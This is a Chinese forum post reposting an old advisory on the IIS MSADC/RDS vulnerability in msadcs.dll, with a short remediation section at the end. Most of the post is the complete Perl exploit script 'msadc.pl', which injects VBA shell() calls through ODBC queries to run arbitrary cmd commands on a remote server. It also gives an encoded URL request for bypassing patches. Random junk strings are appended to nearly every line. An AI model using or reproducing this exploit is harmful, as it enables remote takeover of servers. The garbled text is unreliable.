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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) q4&! mDU  
`[g$EXX  
涉及程序: _ +NjfF|  
Microsoft NT server 2xflRks  
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描述: -Dx3*ZhP  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Yj/ o17  
CuvY^["  
详细: !'p<Kh[i  
如果你没有时间读详细内容的话,就删除: @uCi0Pt  
c:\Program Files\Common Files\System\Msadc\msadcs.dll jH!;}q  
有关的安全问题就没有了。 e15yDwvB  
$!MP0f\q g  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 vI0,6fOd6  
7Q9Hk(Z9  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 OKlR`Vaty  
关于利用ODBC远程漏洞的描述,请参看: D 5n\h5  
wT\BA'VQ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l<GN<[/.+  
7@%qm|i>w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 TB* t^ E  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp G}g;<,g~  
6XF Ufi+  
这里不再论述。 ]vvA]e  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 7@\.()  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset xb3G,F  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! wbAwmOiZ  
Gd_0FF.  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" 19qH WU^0V  
@n?"*B  
#!perl &qG/\  
# z$R&u=J  
# MSADC/RDS 'usage' (aka exploit) script 2Ax"X12{6  
# g:ky;-G8b  
# by rain.forest.puppy -Pp{aF e  
# pxgf%P<7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R}gdN-941  
# beta test and find errors! \efDY[j/  
i/+^C($'f  
use Socket; use Getopt::Std; K~,!IU_QG  
getopts("e:vd:h:XR", \%args); |ugdl|f  
SyVXXk 0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #%@bZ f  
gfj_]  
if (!defined $args{h} && !defined $args{R}) { CLzF84@W=  
print qq~ hS8M|_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } T&dNjx  
-h <host> = host you want to scan (ip or domain) EQ,`6UT>  
-d <seconds> = delay between calls, default 1 second _>\33V-?b  
-X = dump Index Server path table, if available ElUFne=  
-v = verbose +_J@8k  
-e = external dictionary file for step 5 F_'{:v1GW  
UX63BA  
Or a -R will resume a command session fc@<'-VA  
XjN =UhC  
~; exit;} 2=fM\G  
QOktIH  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `WOoC   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} f tTD-d  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} jn|NrvrX  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); NMK$$0U  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :JG5)H}j+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } hRX9Du`$  
0.x+ H9z  
if (!defined $args{R}){ $ret = &has_msadc; $I*}AUp v?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #X'-/q`.  
Ve%ua]qA  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" U<0Wa>3zj  
. "cmd /c "; 8(Te^] v#  
$in=<STDIN>; chomp $in; }.)R#hG?  
$command="cmd /c " . $in ; >8I~i:hn  
/B?wn=][  
if (defined $args{R}) {&load; exit;} aC2Vz9e  
8QJr!#u  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; jFdgFK c)  
&try_btcustmr; OP=brLGu0  
en'[_43  
print "\nStep 2: Trying to make our own DSN..."; &?bsBqpN  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ~/K&=xE  
X,l7>>L{g  
print "\nStep 3: Trying known DSNs..."; =@M9S  
&known_dsn; z3i`O La  
Yv]vl6<  
print "\nStep 4: Trying known .mdbs..."; VVch%  
&known_mdb; i4D]>  
51|s2+GG  
if (defined $args{e}){ C;HEv q7  
print "\nStep 5: Trying dictionary of DSN names..."; $7Hwu^c(  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } e8 ]CB  
F]6G<6T[  
print "Sorry Charley...maybe next time?\n"; I2CI9,0  
exit; KyX2CfW}t  
k 6[   
############################################################################## eK1l~W%  
d^RcJ3w  
sub sendraw { # ripped and modded from whisker \A\  
sleep($delay); # it's a DoS on the server! At least on mine...  ,c`6-  
my ($pstr)=@_; 5 l8F.LtO\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || yJC: bD1xi  
die("Socket problems\n"); 6O{QmB0KK  
if(connect(S,pack "SnA4x8",2,80,$target)){ >oJab R  
select(S); $|=1; 98R/ ^\  
print $pstr; my @in=<S>; D? %*L  
select(STDOUT); close(S); W)r|9G8T  
return @in; J[?oV;O  
} else { die("Can't connect...\n"); }} jRC{8^98  
qpe9?`vVX  
############################################################################## oQ]FyV  
)?SFIQ=  
sub make_header { # make the HTTP request q!0HsF  
my $msadc=<<EOT &77J,\C$:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 w,j!%N  
User-Agent: ACTIVEDATA n^;-&  
Host: $ip {ObY1Y`ea  
Content-Length: $clen h/\ Zq  
Connection: Keep-Alive OXM=@B<"  
8BAe6-*S8  
ADCClientVersion:01.06 s-Gd{=%/q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6/wC StZ  
oe^JDb#  
--!ADM!ROX!YOUR!WORLD! <`SA >P  
Content-Type: application/x-varg 83V\O_7j  
Content-Length: $reqlen #pAN   
}|Q\@3&  
EOT n%36a(] t  
; $msadc=~s/\n/\r\n/g; <(Ar[Rp  
return $msadc;} U~yPQ8jD  
5g-1pzP9  
############################################################################## ],!}&#|  
h& 4#5{=  
sub make_req { # make the RDS request ZK t{3P  
my ($switch, $p1, $p2)=@_; cLL2 '  
my $req=""; my $t1, $t2, $query, $dsn; h#UPU7;  
+76ao7d.  
if ($switch==1){ # this is the btcustmr.mdb query ?H_@/?  
$query="Select * from Customers where City=" . make_shell(); "})OLa  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . V_$<^z|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} '>|K d{J0  
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elsif ($switch==2){ # this is general make table query ckFPx l.  
$query="create table AZZ (B int, C varchar(10))"; x4kQGe(  
$dsn="$p1";} ]lGkZyU hI  
NKFeND  
elsif ($switch==3){ # this is general exploit table query <Af&Q0J  
$query="select * from AZZ where C=" . make_shell(); ] rqx><!  
$dsn="$p1";} `dX0F=Ag?  
6rE8P#  
elsif ($switch==4){ # attempt to hork file info from index server Z"Lr5'}  
$query="select path from scope()"; 4s|qxCks  
$dsn="Provider=MSIDXS;";} Ew.6y=Ba  
{Q$8p2W  
elsif ($switch==5){ # bad query #lMIs4i.  
$query="select"; 8v/,< eARJ  
$dsn="$p1";} .u&X:jOE  
=[aiW|Y  
$t1= make_unicode($query); A?n5;mvq#  
$t2= make_unicode($dsn); y]R+/  
$req = "\x02\x00\x03\x00"; PyI"B96gz  
$req.= "\x08\x00" . pack ("S1", length($t1)); voRb>xF  
$req.= "\x00\x00" . $t1 ; g51UIN]o-  
$req.= "\x08\x00" . pack ("S1", length($t2)); NoF|j57?u'  
$req.= "\x00\x00" . $t2 ; B)DuikV.D  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %8 DI)n#H  
return $req;} jpYZ) So-  
 l2M(  
############################################################################## u"7!EhX&  
,\+N}F^  
sub make_shell { # this makes the shell() statement Y<Ae_yLa  
return "'|shell(\"$command\")|'";} mmjWLrhlu  
\ 6taC  
############################################################################## D5Rp<PBq,  
ib> ~3s;  
sub make_unicode { # quick little function to convert to unicode TT;ls<(Lg  
my ($in)=@_; my $out; 9k9}57m.i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 'HV@i)h0%V  
return $out;} x5g&?2[  
I4qS8~+#  
############################################################################## H^o_B1  
@>ys,dy  
sub rdo_success { # checks for RDO return success (this is kludge) k&[6Ld0~56  
my (@in) = @_; my $base=content_start(@in); W"\`UzOLQ  
if($in[$base]=~/multipart\/mixed/){ T%"wz3~  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} a|]deJU^  
return 0;} ep5`&g]3  
v`Y{.>[H[  
############################################################################## Vy/G-IASb  
<h+UC# .x  
sub make_dsn { # this makes a DSN for us /9SoVU8  
my @drives=("c","d","e","f"); GHi'ek<?^  
print "\nMaking DSN: "; @+Nf@LJ  
foreach $drive (@drives) { VL"Cxs  
print "$drive: "; fO#nSB/ 8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :! $+dr(d  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" VS`{k^^  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); OqH3. @eK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 58mpW`Q  
return 0 if $2 eq "404"; # not found/doesn't exist <f)T*E^5%  
if($2 eq "200") { 'Zex/:QS  
foreach $line (@results) { x@)cj  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} M.qv'zV`xG  
} return 0;} 1n6%EC|X  
H;AMRL o4z  
############################################################################## ]d{lS&PRlg  
`25<;@  
sub verify_exists { )3|a_   
my ($page)=@_; LtUw  
my @results=sendraw("GET $page HTTP/1.0\n\n");  |#xBC+  
return $results[0];} 3H>\hZ  
P%R9\iajH  
############################################################################## ;ioF'ov  
Zf??/+[  
sub try_btcustmr { BVus3Y5IJQ  
my @drives=("c","d","e","f"); BSr#;;\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); eMn'z]M&]  
PN J&{4wY  
foreach $dir (@dirs) { 64"DT3:  
print "$dir -> "; # fun status so you can see progress }=gD,]2x8  
foreach $drive (@drives) { spQr1hx<  
print "$drive: "; # ditto h'vBWtMa  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; =l] lwA -  
$reqlenlen=length( "$reqlen" ); NTCFmdbs 6  
$clen= 206 + $reqlenlen + $reqlen; ZcHIk{|  
t1yfSStp  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); >@a7Zzl0H  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} F_/ra?WVH  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @x[A ^  
k %sxA  
############################################################################## P,G :9x"e  
T.%yeJiE  
sub odbc_error { y^Q);siSy  
my (@in)=@_; my $base; Ck m:;q  
my $base = content_start(@in); aehB,l0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this "?iyvzo  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K,PN:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -~_|ZnuM9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y>T>  
return $in[$base+4].$in[$base+5].$in[$base+6];} IQd~` G  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Tgla_sMb  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . M U '-  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} {od@S l  
QWt3KW8)  
############################################################################## pnL[FMc  
Ll#W:~  
sub verbose { jWvi% I qi  
my ($in)=@_; xd"+ &YT  
return if !$verbose; N<Ym&$xR  
print STDOUT "\n$in\n";} L0{ [L  
nLANWQk9  
############################################################################## w|0:0Rc~u  
/Q89y[  
sub save { Q TN24 q4  
my ($p1, $p2, $p3, $p4)=@_; [P}mDX  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7&]|c?([4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m9D Tz$S.  
close OUT;} v<(+ l)Ln  
dd +lQJ c  
############################################################################## k#/cdK!K  
#2Vq"Zn  
sub load { ])?h ~  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; w~=xO_%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); GlC(uhCpV  
@p=<IN>; close(IN); *<"{(sAvk  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 79o=HiOF99  
$target= inet_aton($ip) || die("inet_aton problems"); H,7!"!?@N  
print "Resuming to $ip ..."; (_3'nFg  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; wQ9@ l  
if($p[1]==1) { LZ&I<ID`-  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; udc9KuR@  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1#fR=*ZM"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^LXsU] R  
if (rdo_success(@results)){print "Success!\n";} 3Tw9Uc\vT  
else { print "failed\n"; verbose(odbc_error(@results));}} 0~[M[T\  
elsif ($p[1]==3){ 'V <ZmJ2  
if(run_query("$p[3]")){ ZTB6m`  
print "Success!\n";} else { print "failed\n"; }} 0 xvSi9  
elsif ($p[1]==4){ %uiCC>cC  
if(run_query($drvst . "$p[3]")){ ,R7j9#D  
print "Success!\n"; } else { print "failed\n"; }} XJwgh y?(  
exit;} 4L97UhLL  
;nAx@_ab^  
##############################################################################  <pD  
zYWVz3l  
sub create_table { V|awbff:  
my ($in)=@_; <y7Hy&&y-  
$reqlen=length( make_req(2,$in,"") ) - 28; -H|!KnR  
$reqlenlen=length( "$reqlen" ); YV>&v.x0;  
$clen= 206 + $reqlenlen + $reqlen; d@b2XCh<K  
my @results=sendraw(make_header() . make_req(2,$in,"")); (Gapv9R  
return 1 if rdo_success(@results); VpY,@qh  
my $temp= odbc_error(@results); verbose($temp); J*6B~)Sp@  
return 1 if $temp=~/Table 'AZZ' already exists/; XgeUS;qtta  
return 0;} 7xWJw  
)"2eN3H/  
############################################################################## ,4-],~T  
tuY= )?  
sub known_dsn { 9JILK9mVO  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 8|L5nQ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *&+zI$u(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", W(-son~I  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); e(&u3 #7Nn  
a^[s[j#^,  
foreach $dSn (@dsns) { h\~!!F  
print "."; ^4Se=Hr z2  
next if (!is_access("DSN=$dSn")); qa8?bNd'f  
if(create_table("DSN=$dSn")){ :C0)[L  
print "$dSn successful\n"; yB{1&S5 C  
if(run_query("DSN=$dSn")){ nhZ/^`Y<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { PTXS8e4  
print "Something's borked. Use verbose next time\n";}}} print "\n";} /_8nZVu  
m?8o\|i,  
############################################################################## ;l < amB  
*o(bB!q"c  
sub is_access { CEzdH!nP  
my ($in)=@_; f^IB:e#j;  
$reqlen=length( make_req(5,$in,"") ) - 28; ,u- 9e4  
$reqlenlen=length( "$reqlen" ); ]'hel#L;l  
$clen= 206 + $reqlenlen + $reqlen; pY%KI  
my @results=sendraw(make_header() . make_req(5,$in,"")); 4V mUTMY  
my $temp= odbc_error(@results); n 1^h;2gz  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); BXz g33  
return 0;} zh(=kS `  
'9&@?P;  
############################################################################## 2jkma :$'  
a`eb9o#  
sub run_query { l>(*bb1}b  
my ($in)=@_; bhsCeH  
$reqlen=length( make_req(3,$in,"") ) - 28; #~w~k+E4  
$reqlenlen=length( "$reqlen" ); g~9b_PY9  
$clen= 206 + $reqlenlen + $reqlen; k!6m'}v  
my @results=sendraw(make_header() . make_req(3,$in,"")); l!\~T"-7;:  
return 1 if rdo_success(@results); mGF)Ot R  
my $temp= odbc_error(@results); verbose($temp); h^14/L=|  
return 0;} W58%Zz4a  
A ;|P\V  
############################################################################## I58$N+#  
IfI:|w}:"r  
sub known_mdb { /pLf?m9  
my @drives=("c","d","e","f","g"); oBo |eRIt|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6 lEv<)cC  
my $dir, $drive, $mdb; vuJEPn%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; e$rPXRf  
T+%P+  
# this is sparse, because I don't know of many #)S&Z><<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #2Iw%H2q&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", aQ&K a  
"\\system32\\certmdb.mdb", EEx:Xk%5hX  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ztp2j%'  
cBZJ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 3+iryW(\  
"\\cfusion\\cfapps\\forums\\forums_.mdb", %):pfM;b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", h2?\A%  
"\\cfusion\\cfapps\\security\\realm_.mdb", 3m$Qd#|  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", VT#`l0I }  
"\\cfusion\\database\\cfexamples.mdb", - _ %~b  
"\\cfusion\\database\\cfsnippets.mdb", 'jy e*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "Rtt~["%  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [.C P,Ly  
"\\cfusion\\brighttiger\\database\\cleam.mdb", l$R9c+L=  
"\\cfusion\\database\\smpolicy.mdb", 3&+nV1  
"\\cfusion\\database\cypress.mdb", r-]%R:U*  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", w:=:D=xH2  
"\\website\\cgi-win\\dbsample.mdb", ={o)82LV  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", lB#7j  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 5as5{"l  
); #these are just WHU l.h  
foreach $drive (@drives) { "\5 T  6  
foreach $dir (@dirs){ GsiKL4|mj  
foreach $mdb (@sysmdbs) { sl P>;  
print "."; HoeW6UV  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ T;S6<J  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ]kO|kIs  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ VAqZ`y  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .}(X19R  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 3h A5"G+7  
#n|eq{fkK  
foreach $drive (@drives) { TWfk r  
foreach $mdb (@mdbs) { Ya!PV&"Z  
print "."; 'tX}6wurf  
if(create_table($drv . $drive . $dir . $mdb)){ ;Qc^xIPy  
print "\n" . $drive . $dir . $mdb . " successful\n"; WQB V~.<Yv  
if(run_query($drv . $drive . $dir . $mdb)){ G%K&f1q%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; xNLgcb@v>  
} else { print "Something's borked. Use verbose next time\n"; }}}} q:vGGK^  
} 8{6`?qst@  
f*p=j(sF  
############################################################################## ,;<M+V3+  
PO:sF]5  
sub hork_idx { $gL^\(_3H  
print "\nAttempting to dump Index Server tables...\n"; w`dSc@ :  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7>AM zNj  
$reqlen=length( make_req(4,"","") ) - 28; D^f;X.Qm  
$reqlenlen=length( "$reqlen" ); f=8{cK0j  
$clen= 206 + $reqlenlen + $reqlen; 4VC8#x1  
my @results=sendraw2(make_header() . make_req(4,"","")); q_"w,28  
if (rdo_success(@results)){ b"OHXu  
my $max=@results; my $c; my %d; \}YAQ'T  
for($c=19; $c<$max; $c++){ m5, &;~  
$results[$c]=~s/\x00//g; "QBl "<<s  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; p )WRsJ8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; J90 )v7  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 4sC)hAx&f  
$d{"$1$2"}="";} X[SIk%{D  
foreach $c (keys %d){ print "$c\n"; } d-8{}Q  
} else {print "Index server doesn't seem to be installed.\n"; }} E #!.;AQ  
&(|Ot`el]v  
############################################################################## ]c6h'}  
4C*0MV  
sub dsn_dict { ,zZ@QW5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^a1k"|E?f  
while(<IN>){ ,H$%'s1I(  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ,&Vir)S  
next if (!is_access("DSN=$dSn")); kN 0N18E  
if(create_table("DSN=$dSn")){ <5G 4|l  
print "$dSn successful\n"; ]x%sX|Rj  
if(run_query("DSN=$dSn")){ jc,Q g2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )a%E $`   
print "Something's borked. Use verbose next time\n";}}} <KE%|6oER  
print "\n"; close(IN);} K;>9K'n  
jBd=!4n  
##############################################################################  J2Qt!-  
h*3{IHAQ  
sub sendraw2 { # ripped and modded from whisker 5Z=GFKf|  
sleep($delay); # it's a DoS on the server! At least on mine... Il#ST  
my ($pstr)=@_; _c(h{dn  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %:OX^ ^i;  
die("Socket problems\n"); XdnpL$0  
if(connect(S,pack "SnA4x8",2,80,$target)){ E*s _Y  
print "Connected. Getting data"; Zt9ld=T  
open(OUT,">raw.out"); my @in; 8m[o*E.4F  
select(S); $|=1; print $pstr; 9Q 7342  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Zvra >%  
close(OUT); select(STDOUT); close(S); return @in; u}rJqZ  
} else { die("Can't connect...\n"); }}  2 av=W  
7Rc>LI* '  
############################################################################## 6:Y2z!MLO  
D'^UZZlI^I  
sub content_start { # this will take in the server headers #Kx @:I  
my (@in)=@_; my $c; Tz0XBH_  
for ($c=1;$c<500;$c++) { /fU -0a8  
if($in[$c] =~/^\x0d\x0a/){ |C0!mU  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } bik lja  
else { return $c+1; }}} aa dw#90  
return -1;} # it should never get here actually BaMF5f+  
J5z\e@?.0\  
############################################################################## >X=VPh8  
abS3hf  
sub funky { bXqTc2>=  
my (@in)=@_; my $error=odbc_error(@in); tGSX TF}G  
if($error=~/ADO could not find the specified provider/){ KUU ZN  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ][XCpJ)8  
exit;} 5@pLGMHT  
if($error=~/A Handler is required/){ (CAkzgTfc  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?D(aky#cyc  
exit;} 5'<a,,RKu  
if($error=~/specified Handler has denied Access/){ NSq29#  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'a:';hU3f  
exit;}} R0bgt2J  
FL&L$#X  
############################################################################## 'QTa<Z)E  
~(=5`9  
sub has_msadc { 1 qp"D_h  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J*AYZS-tSE  
my $base=content_start(@results); E!>MJlA:k6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \!%~( FM  
return 0;} %MEWw  
+"|TPKas  
######################## ,D&-.`'E  
D z[ ,;  
Ylgr]?Db*  
解决方案: Zlygx  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll R0G!5>1i  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 R3.8Dr 0f  
iP1yy5T  
拿出来充数 哈哈
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